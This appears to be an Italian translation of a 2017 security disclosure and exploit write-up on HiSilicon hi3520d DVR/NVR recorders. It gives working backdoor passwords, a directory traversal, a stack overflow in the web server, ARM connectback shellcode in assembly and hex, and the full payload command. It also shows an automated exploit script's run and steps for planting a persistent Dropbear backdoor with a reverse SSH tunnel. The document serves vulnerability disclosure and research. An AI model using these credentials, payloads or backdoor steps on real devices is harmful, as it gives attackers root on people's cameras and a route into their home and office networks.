
Exploit proof-of-concept e divulgazione di vulnerabilità per dispositivi DVR/NVR HiSilicon hi3520d. Dimostra RCE tramite interfaccia web, credenziali backdoor e analisi del buffer overflow.
= HiSilicon DVR hack Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%
[abstract] Questo rapporto rivela serie vulnerabilità (con codice proof of concept (PoC)) dei dispositivi DVR/NVR costruiti con il HiSilicon hi3520d e simili system on a chip (SoC). Lo sfruttamento delle vulnerabilità porta a esecuzione remota di codice (RCE) non autorizzata usando solo l'interfaccia web, causando la completa compromissione del dispositivo sfruttato. A causa della mancanza di firmware aggiornati, l'uso di questi dispositivi non è raccomandato. Il venditore è stato contattato prima di dicembre 2016, ma non c'è ancora stata risposta. La data di rilascio della divulgazione è febbraio 2017.
== prefazione
Un paio di anni fa ho comprato un economico DVR cinese su eBay. Il logo di avvio del dispositivo dice: "SECULINK - Security Monitoring". Da appassionato di sicurezza informatica, ho deciso di dare un'occhiata più da vicino al dispositivo per vedere quanto "sicuro" fosse quel servizio di monitoraggio di sicurezza. Cercando su Google ho trovato materiale interessante, ma scavando più a fondo ho trovato problemi (0-day) molto più interessanti e molto più seri riguardanti il dispositivo.
Diamo un'occhiata all'intera sessione di hacking dall'inizio. (I nuovi risultati, ottenuti personalmente, saranno indicati come nuovi, così come quelli vecchi e già noti.)
== esplorare il DVR
Prima dovremmo imparare a usare l'interfaccia utente ufficiale, poi scavare più a fondo, magari cercare di ottenere il firmware. Le probabilità di trovare vulnerabilità aumentano con il firmware.
=== il DVR a prima vista
Il dispositivo DVR usato per i test è marchiato "Seculink".
image::./seculink_device.png[Dispositivo DVR Seculink]
Interfacce fisiche disponibili:
Interfacce utente ufficiali:
L'interfaccia di configurazione accessibile direttamente è protetta da autenticazione utente (nome utente, password). Il superutente predefinito è 'admin', la password predefinita è vuota.
Dopo aver impostato una password robusta, l'utente può sentirsi al sicuro che la visualizzazione delle sue telecamere non sia accessibile ad altri. Spesso le persone inoltrano la porta web (tcp/80) del DVR verso il lato WAN dalla loro LAN sicura per accedere ai flussi del DVR dall'esterno (possiamo verificarlo, ad esempio, con una ricerca Shodan adeguata ;) ).
=== ottenere il firmware
Ci possono essere molti modi per ottenere il firmware:
Anche se quest'ultimo metodo (il download) funziona ed è il più semplice, proviamo il primo, perché fornisce anche altre informazioni sul dispositivo.
=== scansione dei servizi
Facciamo una scansione completa delle porte sul DVR. Nota: la scansione SYN (predefinita se eseguita come root) è molto lenta a causa dei pacchetti scartati, ma la scansione completa TCP connect termina in un paio di minuti.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
Riassumendo e test manuali:
Nota: anche l'apertura del flusso rtsp richiede le credenziali.
Qui dovremmo precisare che il dispositivo è probabilmente un sistema simile a Linux.
Connettendosi alla porta 9527/tcp (con netcat raw) si vede la console
dell'applicazione con messaggi di log e un prompt di login. Il login con una qualsiasi
delle credenziali applicative definite funziona. Digitando help dopo il
prompt si ottiene una breve descrizione dei comandi della console. Il comando
shell sembra il più interessante. Sì, fornisce una shell di root sul
dispositivo. ;)
Nota: questo è ovviamente un serio problema di sicurezza, perché un qualsiasi utente applicativo (con privilegi bassi) non dovrebbe ottenere automaticamente una shell di root sul dispositivo.
=== shell di root
Esplorando il dispositivo nella shell di root (ad esempio con dmesg)
diventa chiaro che il DVR esegue un kernel Linux (versione 3.0.8), ha
una CPU ARMv7 e il modello di SoC è hi3520d.
Dall'elenco dei processi in esecuzione (ps) è chiaro che l'applicazione
DVR è /var/Sofia, che è in ascolto anche su 34568/udp e
34569/udp oltre alle porte tcp rilevate da nmap
(netstat -nlup).
Dall'elenco dei file system montati (comando mount), è chiaro che
l'immagine del firmware è nei dispositivi /dev/mtdblockX (dove X=0,1,2,3,4,5).
Il firmware è piccolo e quindi limitato, quindi dobbiamo essere creativi se vogliamo copiare file da/al dispositivo. Fortunatamente NFS è supportato, quindi configurare un server NFS sulla nostra macchina desktop e montarlo dal DVR risolve il problema:
Ora ottenere il firmware è semplice:
Possiamo ottenere i file (non solo le immagini grezze):
=== interfaccia telnet
Per accedere al dispositivo tramite l'interfaccia telnet (porta 23/tcp),
potremmo aver bisogno di alcune credenziali del sistema operativo. Guardando
/etc/passwd troviamo l'hash della password per l'utente root:
Nota: non c'è nessun altro utente oltre a root, tutto viene eseguito con pieni privilegi. (Quindi se qualcuno riesce a introdursi nel dispositivo in qualche modo, non ci sono barriere: l'attaccante ottiene immediatamente pieni poteri.)
Supponendo una password alfanumerica (minuscola) di sei caratteri, hashcat decifra rapidamente il debole hash DES sopra riportato:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
Quindi con utente root e password xc3511 è possibile accedere tramite
l'interfaccia telnet sulla porta 23/tcp. Questo account root hard-coded
accessibile sull'interfaccia telnet non chiudibile è ovviamente una backdoor.
Questi risultati erano quasi disponibili da parte di altri prima della nostra ricerca, ma ciò che segue è completamente nuovo.
== reversing del firmware
Esplorando il firmware si scopre che il binario /var/Sofia è l'
applicazione principale che implementa ogni interfaccia oltre all'elaborazione
video e ad altro. Quindi questo binario sembra il più interessante
per noi.
Purtroppo è (staticamente linkato e) strippato, il che rende più difficile l'analisi statica:
Quindi oltre all'analisi statica (con radare2 o IDA) l'analisi dinamica dovrebbe essere molto utile.
=== gdb remoto
Per l'analisi dinamica, collegare il debugger GNU (GDB) all'applicazione
remota /var/Sofia dovrebbe essere vantaggioso. Il metodo consigliato
è eseguire (e collegare) gdbserver sul dispositivo remoto, e connettere
gdb da la macchina locale.
Ovviamente abbiamo bisogno di un gdbserver compilato (preferibilmente
staticamente) per l'architettura ARM appropriata. Per compilarlo, possiamo
usare https://www.uclibc.org/[µClibc], che è la libreria C
consigliata per i sistemi embedded (come il nostro DVR). Le build disponibili
sono build dinamiche, problematiche sul nostro DVR, quindi dovremmo creare
noi delle build statiche personalizzate. C'è un ottimo ambiente di build
chiamato https://buildroot.org/[Buildroot] che fa funzionare la compilazione
out-of-the-box (selezionate le app richieste (es. gdb) con
make menuconfig, non dimenticate di scegliere le librerie statiche, poi
eseguite make).
Dopo un breve tempo di compilazione (~10-15 minuti) tutti gli strumenti
necessari dovrebbero essere disponibili. I binari statici possono essere trasferiti
sul dispositivo con il metodo NFS menzionato in precedenza. Nota: la directory
/var che contiene il binario Sofia è un ramfs, quindi non è persistente
tra i riavvii. Se vogliamo trasferire i binari in modo (quasi) permanente,
la partizione rw /mnt/mtd che contiene i file di configurazione dovrebbe
essere una destinazione adatta. Se compilate anche il pacchetto openssh,
scp sarà disponibile e renderà il trasferimento dei file più semplice.
Ora il firmware è pronto per un po' di reversing. Collegare gdbserver
da remoto ora funziona (ottenere il PID del processo Sofia è facile con
ps):
Connessione dalla macchina locale:
Nota: è consigliato usare qualche estensione GDB (come
http://gef.readthedocs.io/en/master/[GEF]). Se la pausa dell'applicazione
non funziona (con C-c) per qualche motivo, l'invio di un segnale TRAP
al processo Sofia (con kill -TRAP 610) dovrebbe metterlo in pausa.
=== ispezionare la procedura di autenticazione
Lo strumento consigliato per l'analisi statica è ovviamente https://www.hex-rays.com/products/ida/[IDA Pro] di Hex-Ray. Purtroppo non è economico, ma è molto migliore di qualsiasi altro strumento.
Ci sono più di 15.000 funzioni dopo l'analisi automatica iniziale, ma trovare la funzione di autenticazione è un attimo con IDA (usando un semplice script Python). Lo snippet https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] qui sotto cerca tutte le funzioni che fanno riferimento a qualcosa correlato a "Users" e "Password" (allo stesso tempo):
Il risultato è una sola funzione: sub_2D857C. Una rapida analisi di
questa funzione conferma che dovrebbe essere la funzione di autenticazione.
C'è un controllo iniziale sulla password in chiaro rispetto a una stringa
hardcoded (prima di ottenere l'hash della password dell'utente dalla configurazione).
Se il controllo passa, l'autenticazione è concessa. Questa è una brutta
backdoor nell'applicazione. La password universale è: I0TO5Wv9.
Con questa password possiamo accedere a qualsiasi cosa nell'applicazione come qualsiasi utente (es. admin). Ad esempio, ottenere il flusso video:
Oppure ottenere una shell di root sulla console dell'applicazione (9527/tcp) funziona altrettanto:
$ nc 192.168.88.127 9527 nc: using stream socket
Un altro risultato interessante nell'algoritmo di autenticazione:
in alcune circostanze la funzione di autenticazione accetta non solo la
password ma anche l'hash. L'apertura del flusso video rtsp è
possibile non solo con la password ma anche con l'hash (che è memorizzato
in /mnt/mtd/Config/Account1). Ad esempio, tlJwpbo6 è l'hash della
password vuota (vedi anche la prossima sezione), quindi```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
anche funziona.
=== funzione hash della password
Un altro risultato dell'analisi statica (più approfondita) della funzione auth: la funzione hash della password è `sub_3DD5E4`. È sostanzialmente MD5 con alcune strane trasformazioni. L'ho reversata e implementata in Python:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
Con l'algoritmo hash implementato, è possibile forzare le password o impostarne di arbitrarie.
== buffer overflow nel webserver integrato
Il binario Sofia gestisce le richieste HTTP sulla porta 80/tcp. Proviamo un po' di fuzzing con le richieste. Ovviamente, collegare gdb (vedi sopra) può essere utile. In realtà, dovremmo terminare il processo Sofia e riavviarlo con gdbserver per vedere anche l'output della console:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
E localmente:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
Ora vediamo le richieste GET. Nessuna risposta:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
Risposta normale (anche senza chiusura corretta e/o newline alla fine):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
Test per un overflow con una richiesta molto lunga:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
Bene. La risposta è un 200 con un messaggio "404 File Not Found", ma possiamo vedere un meraviglioso crash in gdb. ;)
Nota: c'è un modulo del kernel watchdog abilitato per l'applicazione Sofia. Se non è in esecuzione per un minuto, il dispositivo si riavvia. Questo è positivo se sperimentiamo su un dispositivo remoto, ma è negativo se vogliamo fare debugging in modo fluido.
Il watchdog non può essere disattivato una volta avviato, quindi l'unico modo per liberarsene è modificare il firmware read-only riflashandolo. Non è consigliato a meno che non vogliamo mandare in brick il nostro dispositivo di test. ;)
=== controllo del flusso del programma
Perché il crash è meraviglioso (dal punto di vista di un attaccante)? Il processo remoto Sofia ha ricevuto SIGSEGV (segmentation fault), lo stack è riempito con i nostri caratteri "a", ma la cosa più importante è: il registro $pc (program counter) contiene il nostro valore iniettato `0x61616160` ("aaaa" - 1) (probabilmente innescato da una ret ma la causa non è importante). Questo dovrebbe essere un classico stack overflow, e significa che abbiamo la possibilità di controllare facilmente il flusso del programma.
Dopo alcuni esperimenti (per bisezione):
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
Anche questo causa SIGSEGV, e il registro $pc è `0x7a797876` (~"wxyz"; invertito, perché l'ordinamento dei byte è little-endian; e -1 per allineamento). Il nostro payload inizia (con "0123aaa...") a $sp+0x14 (base dello stack + 0x14).
=== esecuzione remota di codice
Il modo più semplice ed efficace per sfruttare un overflow del genere è iniettare dello shellcode nello stack e reindirizzare lì il flusso del programma. In questo modo otteniamo l'esecuzione arbitraria di codice remoto sul target. Poiché non c'è separazione dei privilegi nel sistema operativo del dispositivo, questo significa controllo totale (accesso root alla shell).
Tuttavia, potrebbero essere abilitate tecniche moderne di mitigazione degli exploit che potrebbero rendere la vita molto più difficile a un attaccante.
Il modo più basilare per proteggersi dagli shellcode sullo stack è la tecnologia del bit No-eXecute (NX). Questa può impedire l'esecuzione di codice su pagine di memoria selezionate (di solito pagine con permesso di scrittura come lo stack). Fortunatamente (dal punto di vista dell'attaccante ;) ), il bit NX non è impostato (guarda i flag STACK, rwx):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
oppure basta usare `checksec` in gdb gef. `checksec` in gdb gef ci dice anche che non sono presenti altre mitigazioni come lo stack canary (il che è ovvio, perché non potremmo controllare $pc con uno stack overflow se fosse presente uno stack canary).
L'unica cosa che dobbiamo sapere prima di far funzionare l'RCE è l'indirizzo dello stack. Dobbiamo iniettare l'indirizzo $sp+0x14 nella posizione appropriata del nostro payload ("wxyz" sopra) per reindirizzare il flusso del programma allo shellcode.
C'è anche una tecnica di mitigazione che potrebbe rendere tutto più difficile (o molto difficile, quasi impossibile in alcuni casi): l'address space layout randomization (ASLR). L'ASLR randomizza gli indirizzi di base dei segmenti di memoria (ad es. l'indirizzo di base dello stack).
Sfortunatamente, ASLR è abilitato ("2" significa randomizzazione completa, "0" è disabilitato):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== RCE senza ASLR
Proviamo a sfruttare l'overflow prima con ASLR disattivato.
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
Seguendo la procedura sopra, otteniamo che l'indirizzo dello stack ($sp) è 0x5a26f3d8 al momento del crash SIGSEGV (ed è lo stesso in diverse esecuzioni con ASLR disattivato).
Quindi il payload dovrebbe essere:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
dove lo shellcode dovrebbe essere qualcosa che vogliamo eseguire, preferibilmente uno shellcode di connectback. Nota che ci sono "badchar" che devono essere evitati: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?'). Inoltre, c'è un limite di dimensione di 299 byte. I generatori di shellcode non possono gestire la nostra lista di badchar; anche usando encoder automatici non si riesce a risolvere il problema (a causa del limite di dimensione).
Quindi bisogna generare uno shellcode personalizzato. Lo shellcode qui fornisce una shell di connectback usando le system call socket, connect, dup2 ed execve (o supervisor call secondo la terminologia del mondo ARM). Dobbiamo essere rigorosi e creativi per evitare i badchar. Le etichette non dovrebbero essere usate, sono solo per una lettura più semplice.
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
Compilando lo shellcode e ottenendo i byte binari grezzi (qualsiasi cross-tool per ARM dovrebbe funzionare, ad es. anche quelli compilati con buildroot in `buildroot-2017.02.5/output/host/usr/bin/` vanno bene):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
Iniettare questo con il payload dovrebbe far funzionare l'exploit e dovrebbe fornire una shell di connectback al dispositivo remoto.
Ovviamente, prima avvia un listener su `192.168.88.100`:
----
$ nc -nvlp 31337
----
Poi avvia il payload:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
L'exploit dovrebbe funzionare! :) Nel gdb locale:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
E l'RCE è pronto sul listener netcat:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
Ora è possibile eseguire comandi arbitrari (come root!) sul sistema remoto.
Ma sfortunatamente l'exploit non è pronto per l'implementazione nel mondo reale, perché ASLR è attivo e quindi non conosciamo l'indirizzo di inizio dello shellcode. Ancora.
==== sconfiggere l'ASLR
Sconfiggere l'ASLR non è un lavoro facile, ma spesso si può fare con un po' di creatività. Di solito ci sono due modi per farlo:
* trovare qualche debolezza nel randomizzatore e attaccarlo con forza bruta o con qualche leak parziale / overwrite parziale,
* divulgare gli indirizzi di memoria randomizzati del binario remoto.
Ora la forza bruta sembra inutile (innescare un indirizzo errato causa crash e riavvio lento), quindi solo il leak sembra conveniente (se ne troviamo uno).
Dopo una lunga ricerca si stava quasi per rinunciare, non si riusciva a trovare alcun leak, ma poi è venuta un'idea da una direzione completamente diversa.
C'è una vulnerabilità diversa nel webserver, una classica vulnerabilità di directory traversal. In effetti, funziona anche per elencare le directory (questo sarà importante).
La vulnerabilità di directory traversal significa:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
e possiamo ottenere anche l'elenco delle directory:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
Nota: questa vulnerabilità è seria, perché l'attaccante può leggere qualsiasi file, inclusi i video registrati (se il dispositivo ha storage su HDD).
Inoltre, la vulnerabilità può aiutarci a sconfiggere l'ASLR.
Il filesystem `/proc` contiene molte informazioni sui processi in esecuzione nelle directory `/proc/[pid]`. Elencare `/proc` è possibile usando `GET ../../proc`, in questo modo possiamo ottenere tutti i PID. Se `/proc/[pid]/cmdline` è `/var/Sofia`, abbiamo trovato il PID dell'applicazione.
L'informazione più importante per sconfiggere l'ASLR è in `/proc/[pid]/smaps`. Questo file contiene statistiche delle pagine di memoria, indirizzi di pagina e altre informazioni interessanti (ad es. rss). Per esempio:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
Questa è solo una pagina, l'elenco contiene circa ~150 pagine.
Osservando la struttura sopra (prestando attenzione alle dimensioni delle pagine, ai pattern, ecc.), possiamo indovinare (per esperimento ed euristica) quale contiene lo stack del thread richiesto. L'offset dello stack dall'indirizzo di base è costante (è 0x7fd3d8).
Lo snippet che indovina la pagina di memoria:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
dove `smaps[t][1][0]` è la dimensione dell'`t`-esima pagina piena, `smaps[t][1][1]` è l'RSS corrispondente.
Lo snippet fa parte dello script exploit completo che funziona automaticamente contro vari target HiSilicon con ASLR abilitato. Per una breve introduzione allo script:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== post-sfruttamento
Cosa possiamo fare con questo RCE? Tutto. Ricorda, questo è un RCE non autorizzato che usa solo la porta 80/tcp del servizio web. Questa porta è comunemente inoltrata verso l'esterno, quindi se un attaccante sfrutta questo RCE, ottiene accesso alla LAN interna.
Il nostro script exploit ha alcune belle funzionalità, come la possibilità di caricare strumenti (precedentemente compilati) sul dispositivo vittima.
Se vogliamo creare una backdoor persistente e stabile, possiamo caricare un Dropbear, farlo ascoltare localmente e aprire un tunnel SSH inverso verso l'esterno. Con questa architettura, sarà possibile accedere al dispositivo DVR da qualsiasi luogo, in qualsiasi momento.$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
